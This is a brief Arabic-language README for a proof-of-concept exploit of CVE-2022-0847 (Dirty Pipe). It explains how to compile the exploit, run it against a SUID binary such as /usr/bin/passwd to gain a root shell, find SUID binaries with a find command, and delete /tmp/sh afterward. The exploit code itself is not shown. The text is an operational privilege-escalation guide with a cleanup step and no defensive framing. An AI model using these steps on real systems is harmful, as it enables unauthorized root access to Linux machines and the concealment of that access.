CVE-2022-0847 POC

المصدر: https://www.exploit-db.com/exploits/50808

1. التجميع

   في لينكس، قم بتجميع برنامج الـ POC باستخدام gcc -o dirty dirty.c

2. الاستخدام

   ./dirty SUID لتشغيل البرنامج. حيث أن SUID يشير إلى مسار البرنامج الذي يمتلك صلاحية SUID

   يمكنك عادةً استخدام /usr/bin/passwd، أي قم بتنفيذ ./dirty /usr/bin/passwd

   

   يمكنك الحصول على شل بصلاحيات الروت

3. يمكنك استخدام find / -perm /4000 للاستعلام عن البرامج التي تمتلك صلاحية SUID.

   

   

4. لا تنسَ حذف /tmp/sh